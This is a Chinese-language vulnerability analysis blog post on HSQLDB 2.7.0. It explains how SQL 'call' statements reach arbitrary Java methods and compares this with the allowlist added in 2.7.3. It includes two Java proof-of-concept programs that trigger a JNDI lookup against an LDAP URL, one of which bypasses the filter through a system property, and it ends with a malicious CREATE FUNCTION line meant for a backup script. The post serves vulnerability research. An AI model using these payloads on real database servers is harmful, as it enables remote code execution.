hsqldb 2.7.0漏洞分析与思考
tj 发表于 中国 漏洞分析 1754浏览 · 2024-06-04 09:59

最近学习了一些hsqldb漏洞的利用方式,然后尝试去找新的利用方式,
不过没找到(结果还在Unam4哥面前前班门弄斧),因此有了此篇分析文章,

使用call调用危险函数,如利用jndi注入或者反序序列化,
打开/hsqldb-2.7.0/hsqldb/src项目编译,报错时直接删除相关报错文件,
然后在org.hsqldb下新建Main类,
然后运行以下脚本,执行sql语句,调用函数成功,

package org.hsqldb;

import java.io.IOException;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.Statement;

public class Main {
    public static void main(String[] args) throws SQLException, ClassNotFoundException, IOException {

        Class.forName("org.hsqldb.jdbcDriver");

        //这里使用内存模式,
        Connection connection = DriverManager.getConnection("jdbc:hsqldb:mem:mydb");

        //如果对方为http模式,
        //服务端开启命令://java -cp hsqldb.jar org.hsqldb.server.WebServer -database.0 file:mydb -dbname.0 mydb -port 8889
        //则客户端使用此语句去连接,jdbc:hsqldb:http://127.0.0.1:8889/mydb

        Statement statement = connection.createStatement();

        /*
        //自定义函数,使用java方法,然后直接call list("url")
        statement.executeQuery("CREATE FUNCTION list(VARCHAR(255)) \n" +
        "RETURNS VARCHAR(255) \n" +
        "LANGUAGE JAVA \n" +
        "EXTERNAL NAME 'CLASSPATH:java.rmi.Naming.list'");

        */
        statement.executeQuery("call \"javax.naming.InitialContext.doLookup\"('ldap://127.0.0.1:1111')");

    }
}

//java -cp hsqldb.jar org.hsqldb.server.WebServer -database.0 file:mydb -dbname.0 mydb -port 8889

分析:
此处断点,org.hsqldb.Routine#getMethods,栈堆如下,

getMethods函数中HsqlDatabaseProperties.supportsJavaMethod(name),
判断是否支持我们call的方法,

这里直接返回true,

这里通过Class.forName(className, true,Thread.currentThread().getContextClassLoader())实现加载类,
然后获取我们传入方法,

最终返回给createRoutines函数的method,

对比hsqldb 2.7.3,org/hsqldb/persist/HsqlDatabaseProperties.java:103存在了过滤措施,

如果开头匹配java.lang.Math.,那么返回true,
如果不是,会进入accessibleJavaMethodNames.contains(name),最后返回也是false,

返回到org.hsqldb.persist.HsqlDatabaseProperties#supportsJavaMethod,
通过accessibleJavaMethodNames返回一个迭代器,
然后判断我们传入的类方法开头是否与循环里面的值匹配,

accessibleJavaMethodNames有系统变量控制,因此2.7.3需要使用call调用类方法时,
需要使用System.setProperty去设置,

如以下脚本,
使用System.setProperty设置系统属性,使得hsqldb.method_class_names为我们想要的class,

package org.hsqldb;

import java.io.IOException;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.Statement;

public class Main {
    public static void main(String[] args) throws SQLException, ClassNotFoundException, IOException {

        try {
            System.setProperty("hsqldb.method_class_names", "javax.naming.InitialContext.*");
        } catch (SecurityException e) {
            e.printStackTrace();
            // 根据需要处理安全异常
        }
        Class.forName("org.hsqldb.jdbcDriver");

        //这里使用内存模式,
        Connection connection = DriverManager.getConnection("jdbc:hsqldb:mem:mydb");

        //如果对方为http模式,
        //服务端开启命令://java -cp hsqldb.jar org.hsqldb.server.WebServer -database.0 file:mydb -dbname.0 mydb -port 8889
        //则客户端使用此语句去连接,jdbc:hsqldb:http://127.0.0.1:8889/mydb

        Statement statement = connection.createStatement();

        /*

        statement.executeQuery("CREATE FUNCTION list(VARCHAR(255)) \n" +
        "RETURNS VARCHAR(255) \n" +
        "LANGUAGE JAVA \n" +
        "EXTERNAL NAME 'CLASSPATH:java.rmi.Naming.list'");

        */
        statement.executeQuery("call \"javax.naming.InitialContext.doLookup\"('ldap://127.0.0.1:1111')");

    }
}
  • 思考
    对hsqldb 2.7.3的一些想法,
    1.使用call调用java方法这条路只有去设置系统属性,不然直接断掉。
    2.像https://xz.aliyun.com/t/14714这篇文章提到的,
    找找类型转换的功能,或许最后会将我们构造16进制数据进行反序列化,不过我没有找到(菜)。
    3.可以尝试通过配置文件,如还原备份文件来定义恶意的sql方法,不过限制很大,需要自定义备份文件,
    而且从备份文件恢复时,好像也会去判断系统变量是否包含相关类,

以下语句放在备份文件中,开始http模式会加载相关script文件,

CREATE FUNCTION PUBLIC.SELF(IN VARCHAR(255)) RETURNS VARCHAR(255) SPECIFIC SELF_10092 LANGUAGE JAVA NOT DETERMINISTIC CONTAINS SQL CALLED ON NULL INPUT EXTERNAL NAME 'CLASSPATH:java.rmi.Naming.list'
2 条评论
某人
表情
可输入 255
目录